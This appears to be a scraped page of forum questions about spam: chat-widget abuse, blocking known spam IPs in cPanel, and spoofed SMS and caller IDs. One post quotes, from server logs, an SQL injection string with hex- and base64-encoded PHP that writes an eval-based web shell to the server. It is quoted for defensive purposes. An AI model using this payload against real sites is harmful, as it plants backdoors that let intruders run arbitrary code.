Zendesk Spammers

Iv’e been having an issue and was wondering if anyone has an idea. I use the zendesk chat widget on my website, and there has been someone with an unknown motive who is sending all kinds of obscene text. He uses a dynamic IP so blocking the IP won’t help. I suspect he is using a VPN or proxy or the like. Blocking the cookie doesn’t fully take care of the issue as he can just open a new browser window… Do you have an idea how to block him?

cPanel deny IP Addresses of spammers

I have a drupal 7 site, but this question is a more generic one. In the logs I’m seeing regular “attacks” to access protected resources. So attackers are just trying. I’m starting to see more sophisticated attacks such as :


and with a referrer:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325175634768774a79776e50443977614841675a585a686243676b58314250553152625a5630704f79412f506d4669597963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} 

When I’m checking the ip addresses of these attacks 98% they are already registered as spam in the stopforumspam database.

Is there a way to have a list or an api at cPanel level not to have to have to deny each ip address manually.

My question is about cPanel not drupal, since I believe it is better to block them at a higher level even before reaching drupal.

In drupal I have a stopforumspam module but this is used to deny registration, which does not prevent attacks such as the one above.

What I need is to be able to block these attacks from known spammer Ips without having to add each ip address manualy in the deny Ip address list in cPanel.

Many thanks

What are spammers trying to acheive who the correct contact information in their spam?

I’ve recently received 2 spam SMS messages, claiming to be from 2 different organizations, but (obviously) not sent by them.

However, all of the contact details in the SMS match the real details of the organizations in question. Is this an attempt to perform a DDOS on the call centre, or is there some other point to this?

The second organization I called had a recorded greeting at the start saying – “we don’t send those messages, don’t respond to them.”, so they obviously got enough responses to be annoying.

I couldn’t find any reference to this phenomenon via a web search.

Can spammers use the phone number being called as their spoof number?

I originally bought Tasker several (5?) years ago to screen calls by: 1) blocked name/number–hang up 2) not in my contact list
3) family 4) friends (in my contact list but not family or Professionals) 5) Professionals 6) Previously blocked callers With the last few days I’ve received calls which ring in as family and the number is apparently the same as the number being called. Have you experienced that and is there anything that Tasker can do about it?

Can’t Block Russian Spammers Because Can’t Write In Russin

I get these messages, or notifications from some Russians, or at least I think they are, maybe Ukrainians, asking me to like pages, all of them with beautiful sexy women. I can't block them because I can't write their name in Russian.

what can I do about this?? I get quite a few every day.

darn trying to attach a screenshot but it says photo too large, but I've resized it to 158KB or 500 pixels wide?